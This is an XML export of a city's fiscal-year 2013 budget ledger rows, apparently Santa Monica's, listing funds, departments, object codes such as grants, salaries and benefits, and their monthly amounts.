<row _id="3659"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4265.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4265.0</total></row>
<row _id="3660"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>45732.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>457</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>46189.0</total></row>
<row _id="3661"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object>533260.0</object><object_description>NON-AVIATION MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>88303.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>88303.0</total></row>
<row _id="3662"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-372739.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-372739.0</total></row>
<row _id="3663"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-228000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>228000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="3664"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>406040.0</object><object_description>ABC GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>-40000</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-40000.0</total></row>
<row _id="3665"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="3666"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>579006.0</object><object_description>DISCRET-SM FESTIVAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="3667"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>406798.0</object><object_description>12 UASI GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>-398666.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-398666.0</total></row>
<row _id="3668"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>555398.0</object><object_description>12 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>23620.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>23620.0</total></row>
<row _id="3669"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555399.0</object><object_description>13 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>752076</may><june>0.0</june><total>752076.0</total></row>
<row _id="3670"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410150.0</object><object_description>BIKE RACKS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-962.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-962.0</total></row>
<row _id="3671"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>556250.0</object><object_description>RETROFIT INCENTIVE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>200000.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>200000.0</total></row>
<row _id="3672"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>545040.0</object><object_description>BLOOMBERG WELLBEING PROJECT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>1000000</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000000.0</total></row>
<row _id="3673"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>1738</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1738.0</total></row>
<row _id="3674"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>12365</november><december>0</december><january>0.0</january><february>124</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12489.0</total></row>
<row _id="3675"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>72</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>72.0</total></row>
<row _id="3676"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>50</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50.0</total></row>
<row _id="3677"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>500</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="3678"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>556035.0</object><object_description>USED OIL PAY PROG OPP3</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>19495</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19495.0</total></row>
<row _id="3679"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401090.0</object><object_description>INDIRECT COSTS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-10831405</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10831405.0</total></row>
<row _id="3680"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-1573000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1573000.0</total></row>
<row _id="3681"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563160.0</object><object_description>WISE FTA GRANT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>30132</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30132.0</total></row>
<row _id="3682"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>407814.0</object><object_description>LANTANA-CHILDCARE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-80000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-80000.0</total></row>
<row _id="3683"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>53</fund_id><fund_name>Parks and Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>566211.0</object><object_description>AIRPORT PARK IMPROVEMENTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>17000</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="3684"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>406804.0</object><object_description>13 STATE HOMELAND SEC GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>-200000.0</june><total>-200000.0</total></row>
<row _id="3685"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="3686"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>229585.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>229585.0</total></row>
<row _id="3687"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545020.0</object><object_description>CULTURAL PROGRAMMING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="3688"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5634.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>56</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5690.0</total></row>
<row _id="3689"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>71887.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>719</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>72606.0</total></row>
<row _id="3690"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1122.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1122.0</total></row>
<row _id="3691"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533214.0</object><object_description>FAC MAINT-REPAIRS-HIST SAVINGS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>119802.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>119802.0</total></row>
<row _id="3692"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1030.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1040.0</total></row>
<row _id="3693"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1112.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-221</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>891.0</total></row>
<row _id="3694"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5826.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-818</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5008.0</total></row>
<row _id="3695"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579330.0</object><object_description>TRANSFER OUT TO HOUSING FUND</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>121090.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>350920</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>472010.0</total></row>
<row _id="3696"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>561114.0</object><object_description>OPCC DAYBREAK-PROP A</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1900.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1900.0</total></row>
<row _id="3697"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-DISBLD (SMARS)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="3698"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>PROP A LR TRANS-YOUTH</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>51600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>51600.0</total></row>
<row _id="3699"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>408570.0</object><object_description>BIKESHARE AQMD GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-500000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-500000.0</total></row>
<row _id="3700"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>160607.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>1606</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>162213.0</total></row>
<row _id="3701"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>190.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>190.0</total></row>
<row _id="3702"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="3703"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>406930.0</object><object_description>FED-TRAFFIC SIGNAL GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>-1184884.74</march><april>0</april><may>0</may><june>0.0</june><total>-1184884.74</total></row>
<row _id="3704"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9982.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>100</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10082.0</total></row>
